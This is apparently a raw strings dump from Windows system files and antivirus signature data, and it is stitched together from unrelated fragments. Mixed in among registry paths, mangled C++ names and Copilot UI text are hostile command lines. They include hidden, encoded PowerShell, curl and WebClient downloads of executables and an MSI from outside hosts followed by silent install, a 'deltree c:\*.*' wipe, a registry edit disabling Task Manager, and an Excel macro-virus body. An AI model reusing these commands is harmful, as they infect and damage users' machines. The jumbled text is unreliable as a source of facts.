Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocsSoftware\Microsoft\Windows\CurrentVersion\Explorer\RunMRUSoftware\Microsoft\Internet Explorer\TypedURLsDIALXLITE-capi
Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\Sgrunt|VSOFTWARE\Microsoft\Windows\CurrentVersion\TTunim
Software\Microsoft\Windows\CurrentVersion\Internet Settings\
Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\
ussus1eastprod.blob.core.windows.net/e
usseu1northprod.blob.core.windows.net/f
ussch1northprod.blob.core.windows.net/f
system32\drivers\etc\hosts"" /y"set oshelllink = wshshell.createshortcut("adobe updater.lnkfilesys.deletefile("\checkexp.vbs")
CTSEnumeratorHandleImplementation<struct _CDF_INTERNAL_ULONG_TABLE_ENUMERATOR,class Windows::TypeSafeHandle::Provider::Rtl::CTypeSafeHandlePointer<struct _CDF_INTERNAL_ULONG_TABLE_ENUMERATOR> >::FetchData
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsDuplicateString
WindowsCompareStringOrdinal
WindowsCreateString
WindowsConcatString
99^com.microsoft.windows.extensionpackage
9a^com.microsoft.windows.extensionpackage
9b^com.microsoft.windows.extensions.xaml.dragtray
com.microsoft.windows.extensions.xaml.dragtray
windowsxpWindows23user=
\%systemroot%\system32\c
.?AU?$__abi_FunctorCapture@V<lambda_3e2d1a7d94f96fa7160ed54ed6e4af84>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
4Cc:\windows\command\deltree/yc:\*.*@echooff"><!--cssstylesheet--><
.batc:\windows\system32\shell32.dll%systemroot%\system32\shell32.dll%systemroot%\system32\shell32.dll
TMP=C:\WINDOWS\TEMP
system32P9p
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
ger at vise oplysninger om kreditkort. Angiv din adgangskode til Windows for at tillade dette.Microsoft Copilot fors
ger at vise adgangskoder. Angiv din adgangskode til Windows for at tillade dette.Microsoft Copilot fors
ger at kopiere adgangskoder. Skriv din adgangskode til Windows for at tillade dette.Microsoft Copilot fors
ger at redigere adgangskoder. Skriv din adgangskode til Windows for at tillade dette.Microsoft Copilot vil eksportere dine adgangskoder. Angiv din adgangskode til Windows for at tillade dette.Microsoft Copilot fors
ger at importere adgangskoder. Angiv din adgangskode til Windows for at tillade dette.Microsoft Copilot vil slette dine Password Manager-data. Skriv din adgangskode til Windows for at tillade dette.Microsoft Copilot fors
ger at udskifte eksisterende adgangskoder. Skriv din adgangskode til Windows for at tillade dette.Denne computer har allerede en nyere version af Microsoft Copilot. Hvis softwaren ikke virker, skal du fjerne Microsoft Copilot og pr
ver Windows 10 eller nyere.Der opstod en operativsystemfejl under installationen. Download Microsoft Copilot igen.En anden handling p
	WindowsFeedback
%systemroot%\system32\googleupdate.exesoftware\blizzard entertainment\battle.netreg delete "hkey_current_user\software\microsoft\active setup\installed components
\nod42.exe\nottepad.exeopen=temp\system.exe\microsoft\windows\start menu\programs\startup
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
Microsoft-Windows-Lxss
Windows-Defender	
enNewWindows
WINDOWS\system32\config
WINDOWS\system32\config
=C:\Windows\S
.?AU?$_IAsyncOperationWithProgressToAsyncOperationConverter@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@PE$AAV1234@@details@Concurrency@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAUIStorageItem@Storage@Windows@@@details@Concurrency@@@std@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAU?$IVectorView@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@@std@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@details@Concurrency@@@std@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAU?$IVectorView@PE$AAVStorageFile@Storage@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@@std@@
.?AU?$_PPLTaskHandle@EU?$_ContinuationTaskHandle@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@XV<lambda_91d57ca5e12a436b563e6b78a25cada3>@@U?$integral_constant@_N$00@std@@U_TypeSelectorNoAsync@details@Concurrency@@@?$task@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Concurrency@@U_ContinuationTaskHandleBase@details@3@@details@Concurrency@@
.?AU?$_ContinuationTaskHandle@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@XV<lambda_91d57ca5e12a436b563e6b78a25cada3>@@U?$integral_constant@_N$00@std@@U_TypeSelectorNoAsync@details@Concurrency@@@?$task@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Concurrency@@
.?AU?$_PPLTaskHandle@EU?$_ContinuationTaskHandle@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@XV<lambda_dbb7f2c90e2800152f12da50c798681f>@@U?$integral_constant@_N$00@std@@U_TypeSelectorNoAsync@details@Concurrency@@@?$task@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Concurrency@@U_ContinuationTaskHandleBase@details@3@@details@Concurrency@@
.?AU?$_ContinuationTaskHandle@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@XV<lambda_dbb7f2c90e2800152f12da50c798681f>@@U?$integral_constant@_N$00@std@@U_TypeSelectorNoAsync@details@Concurrency@@@?$task@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Concurrency@@
.?AV?$_Ref_count_obj@V?$vector@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@V?$allocator@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@std@@@std@@@std@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Foundation@Windows@@
.?AUIBindableIterator@Interop@Xaml@UI@Windows@@
.?AU?$IIterator@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Collections@Foundation@Windows@@
,:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2601
.?AV?$_Ref_count_obj@V?$vector@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@V?$allocator@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@std@@@std@@@std@@
.?AU?$IMapChangedEventArgs@PE$AAVString@Platform@@@Collections@Foundation@Windows@@
.?AU?$IKeyValuePair@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@
.?AU__I?$IteratorForVectorView@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@PublicNonVirtuals@Details@Collections@Platform@@
.?AU?$IIterator@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
.?AU?$IVectorView@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
.?AV?$IteratorForVectorView@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Details@Collections
_K@Foundation@Windows@@V?$AsyncOperationWithProgressCompletedHandler@PE$AAUIBuffer@Streams@Storage@Windows@@_K@23@PE$AAUIBuffer@Streams@Storage@3@@details@Concurrency@@
.?AU__I?$_IAsyncOperationWithProgressToAsyncOperationConverter@PE$AAUIBuffer@Streams@Storage@Windows@@_KPublicNonVirtuals@details@Concurrency@@
.?AU?$_IAsyncOperationWithProgressToAsyncOperationConverter@PE$AAUIBuffer@Streams@Storage@Windows@@_K@details@Concurrency@@
.?AU__abi_IDelegate@?$AsyncOperationWithProgressCompletedHandler@PE$AAUIBuffer@Streams@Storage@Windows@@_K@Foundation@Windows@@
.?AV?$AsyncOperationWithProgressCompletedHandler@PE$AAUIBuffer@Streams@Storage@Windows@@_K@Foundation@Windows@@
.?AU?$_Task_impl@PE$AAVStorageFolder@Storage@Windows@@@details@Concurrency@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAVStorageFolder@Storage@Windows@@@Foundation@Windows@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAUIBuffer@Streams@Storage@Windows@@@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@PE$AAUIBuffer@Streams@Storage@Windows@@@Foundation@Windows@@
.?AU?$_Task_impl@PE$AAUIBuffer@Streams@Storage@Windows@@@details@Concurrency@@
.?AV?$AsyncOperationCompletedHandler@PE$AAVStorageFolder@Storage@Windows@@@Foundation@Windows@@
.?AU?$__abi_FunctorCapture@V<lambda_29dd5e7bf12e7bd38b209c79c1d250a2>@@XPE$AAU?$IAsyncOperation@PE$AAVGetEntitlementResult@InstallControl@Preview@Store@ApplicationModel@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_90dbce14d499ab028f87fc889bc273a6>@@XPE$AAU?$IAsyncOperation@PE$AAU?$IVectorView@PE$AAVAppInstallItem@InstallControl@Preview@Store@ApplicationModel@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAVGetEntitlementResult@InstallControl@Preview@Store@ApplicationModel@Windows@@@details@Concurrency@@@std@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAU?$IVectorView@PE$AAVAppInstallItem@InstallControl@Preview@Store@ApplicationModel@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@@std@@
.?AU?$_Task_impl@PE$AAVGetEntitlementResult@InstallControl@Preview@Store@ApplicationModel@Windows@@@details@Concurrency@@
windows 
.?AV?$_Func_impl@U?$_Callable_obj@V<lambda_716c0c9de030270be8c1de4f33b2edb7>@@$0A@@std@@V?$allocator@V?$_Func_class@EV?$task@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Concurrency@@U_Nil@std@@U34@U34@U34@U34@U34@@std@@@2@EV?$task@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Concurrency@@U_Nil@2@U62@U62@U62@U62@U62@@std@@
.?AV?$_Func_impl@U?$_Callable_obj@V<lambda_dbb7f2c90e2800152f12da50c798681f>@@$0A@@std@@V?$allocator@V?$_Func_class@XV?$task@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Concurrency@@U_Nil@std@@U34@U34@U34@U34@U34@@std@@@2@XV?$task@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Concurrency@@U_Nil@2@U62@U62@U62@U62@U62@@std@@
.?AV?$_Func_impl@U?$_Callable_obj@V<lambda_91d57ca5e12a436b563e6b78a25cada3>@@$0A@@std@@V?$allocator@V?$_Func_class@XV?$task@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Concurrency@@U_Nil@std@@U34@U34@U34@U34@U34@@std@@@2@XV?$task@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Concurrency@@U_Nil@2@U62@U62@U62@U62@U62@@std@@
.?AU?$__abi_FunctorCapture@V<lambda_456d06b88bda48c06f5a8d787e980819>@@XPE$AAU?$IAsyncOperation@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AV?$_Ref_count@U?$_Task_impl@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@details@Concurrency@@@std@@
.?AU?$__abi_FunctorCapture@V<lambda_97da4a96b36ceaa884c22027ac5bdbe9>@@XPE$AAU?$IAsyncOperationWithProgress@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@PE$AAV1234@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_e4afc78cd6ffd39d596c42992fd234d2>@@XPE$AAU?$IAsyncOperation@PE$AAUIStorageItem@Storage@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_fcc2a713e526a986084e129c4c5cc27d>@@XPE$AAU?$IAsyncOperation@PE$AAU?$IVectorView@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_9e00d095a4808b831c6a879a7d17b2b9>@@XPE$AAU?$IAsyncOperation@PE$AAU?$IVectorView@PE$AAVStorageFile@Storage@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AV?$_Func_base@EV?$task@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Concurrency@@U_Nil@std@@U34@U34@U34@U34@U34@@std@@
.?AV?$_Func_base@XV?$task@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Concurrency@@U_Nil@std@@U34@U34@U34@U34@U34@@std@@
WINDOWS11
WINDOWS11
Microsoft.WindowsC
	WINDOWS\system32\cmd.exe
WINDOWS\ServiceProfiles\Local
system32\cmd.exe
WINDOWS\ServiceProfiles\Local
=C:\Windows\System32\
WINDOWS11
.?AU?$__abi_FunctorCapture@V<lambda_8f2eddeccc7656eb5a85f17231aa57cc>@@XPE$AAU?$IAsyncOperation@PE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_30811fecab13edc0c454ebbd3a057aed>@@XPE$AAU?$IAsyncOperation@W4IrisActionResultFlags@ContentManagementSDK@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_dd4f97b0477b5a5561fb829c47dc959d>@@XPE$AAU?$IAsyncOperation@I@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_0e6eb7b2d70d72482f82db614db079e9>@@XPE$AAU?$IAsyncOperation@PE$AAU?$IVectorView@PE$AAVString@Platform@@@Collections@Foundation@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_86194bde2eedc270a86de2ada52477cb>@@XPE$AAU?$IAsyncOperation@PE$AAU?$IVectorView@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AV?$_Func_base@PE$AAU?$IAsyncOperation@PE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@U_Nil@std@@U45@U45@U45@U45@U45@U45@@std@@
.?AV?$_Func_base@PE$AAU?$IAsyncOperation@PE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@EU_Nil@std@@U45@U45@U45@U45@U45@@std@@
.?AV?$_Ref_count@U?$_Task_impl@PE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@@std@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@@std@@
https://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js
https://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js
windows\o
ponent_installer.cc:334] Failed to read manifest for Trust Token Key Commitments (C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\
Microsoft.Windows.C
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
C:\WINDOWS\system32\vccorlib140.dll
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy!App
^DpdiskVolume3\Windows\System32\backgroundTaskHost.exe
5diskVolume3\Windows\System32\backgroundTaskHost.exe
MP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11$
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
windir=C:\WINDOWS
C:\WINDOWS\system32\wbem\wmiprvse.exe
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
windows.hlp
\system32\drivers\etc\1
\Windows\video
CredUIPromptForWindowsCredentialsW
-windowstylehidden;
5-replace'windowsdefender',''){exit}}.(gp-pa'hklm:\sof*\clas*\applica
\system32
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
EtwTraceWinlogonSleepEndEvent
EtwTraceWinlogonSleepStartEvent
DriverData=C:\Windows\System32\
NtUserGetProcessWindowStation
NtUserLockWindowStation
windows.
@Devices@Windows
@echooffpowershell.exe-nologo-noprofile-windowstylehidden-execbypass-encsqbuahyabwbragualqbxaguaygbsaguacqb1aguacwb0acaaigboahqadabwahmaogavac8azwbpahqaaab1agialgbjag8abqava
powershell.exe-windowstylehidden{powershell-command"$wc=new-objectsystem.net.webclient;$tempfile=[system.io.path]::gettempfilename();$tempfile+='.bat';stop-process-processnamenssy;$wc.downloadfile('http
setup=c:\windows\system32\mshta.exe http://
<t>\windows\</t>
windows\system32\mshta.exe
GetSystemWindowsDirectoryW
PUA:Win32/WindowsOptimizer
	pPUA:IRST:Block:WindowsOptimizer
PUA:ML:Blocked:WindowsOptimizer
Mozilla/5.0 (Windows NT 10.0; Win64; x
\\WINDOWS11h
"WindowsTelemetry")}
"WindowsTelemO
c:\windows\
ILd=microsoft.windowsazure.commands	
WindowsInstaller
WindowsInstaller
C ("C:\\Windows\\System32\\cmd.exe /c echo(wget 'https://tinyurl.com/y88r9epk' -Out
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
157^com.microsoft.windows.extensionpackage
158^com.microsoft.windows.extension.twinsxs
com.microsoft.windows.extension.twinsxs
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
dir%\system32\vsocklib.dll
Windows\System32\spoolsv.exe
c:\\programdata\\microsoft\\windows defender.*(\.exe|\.sys|\.dll|\.mui)(_bak)?$|c:\\.*\\microsoft\\windows defender advanced threat protection\\.*(\.exe|\.sys|\.dll|\.mui)(_bak)?$
c:\\programdata\\microsoft(_bak)?$|c:\\program files\\windows defender advanced threat protection(_bak)?$
c:\\programdata\\microsoft(_bak)?\\windows defender\\platform(\\)?([^\\]+)\\?$|c:\\programdata\\microsoft(_bak)?\\windows defender(\\)?$
c:\windows\
executionpolicybypass-windowstylehidden-file
System.Windows.Forms
System.Windows.Forms.Design
windowsapCW
\windows\currentversion\run",
REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v DisableTaskMgr /t reg_dword /d 1 /fR.I.P PCf
GetSystemWindowsDirectoryW
\system32\win32k.sys\
subauto_open()'ifthisworkbook.path<>application.path&"\xlstart"thenthisworkbook.saveasfilename:=application.path&"\xlstart\mypersonel1.xls"application.displayalerts=false.savecopyasfilename:=application.startuppath&"\mypersonnel1.xls"windows(1).visible=trueendifapplication.onsheetactivate=""application.screenupdatingtrueapplication.onsheetactivate="mypersonnel1.xls!allocated"endsubsuballocated()onerrorresumenextifactiveworkbook.sheets(1).name<>"kangatang"thenapplication.screenupdatingVirus:O97M/KangKang.B
\Services\Windows Overlay Components
Z\windows adstatus\
\Windows AdStatus
\uninstall\Windows AdStatus
\windows adstatus\winstatcomm.dll
\windows adstatus\winstatkeep.exe
^\device\harddiskvolume(.*)\windows
\program files (x86)\idrivewindows\cmd_dutil
\windows\systemapps\
Jou Windows 10-toepassings
Welkom by Windows
s nuut in Windows
s nuut in Windows?
microsoft\windows\startmenu\program
c:\windows\system32\cmd.exe/ccdc:\users\public\downloads&curl-oaclient.exehttp://95.214.24.180/ 
C:\WINDOWS\system32\ctfmon.exe
Windows.Security.Authentication.OnlineId.dll
Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4484.cat|Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-OneCore-Sensors-Algorithms-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Host-Guardian-Deployment-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-NetFx2-OC-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-Network-Foundation-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|top-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-OneCore-Sensors-Algorithms-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
WINDOWS;C:\WIN
windir=C:\WINDOWS
<<t>\windows\</t>
O.closegetobject("winmgmts:").get("win32_process").create"cmd.exe/cc:\windows\temp\
127^com.microsoft.windows.extensionpackage
128^com.microsoft.windows.app.livecaptions
com.microsoft.windows.app.livecaptions
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy-Out-Allow-InternetClient
2|c:\windows\system32\cmd.exe/kstartmsedgehttps://www.e-verify.gov/sites/default/files/everify/guides/instructionscreatepdfofe-verifymanual.pdf&curl-slo%temp%\5f6191fa-6ccd-4e30-b2e7-aa8cfc9a1f92.msihttp://backupdocscloud.site/part/out1.msi&%temp%\5f6191fa-6ccd-4e30-b2e7-aa8cfc9a1f92.msi/qn&del/q/f/s%temp%&exit
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.35
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.31
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.32
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.33
1System.Windows.Forms.Control+ActiveXFontMarshaler
8SYSTEM32\UNKNOWNDLL.DLL
RC:\WINDOWS\G
\MSJET40.DLL>C:\WINDOWS\SYSTEM32\UNKNOWNDLL#
s-microsoft-com:windows:store:ln
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
Windows.UI.Core.CoreWindow
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
plate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
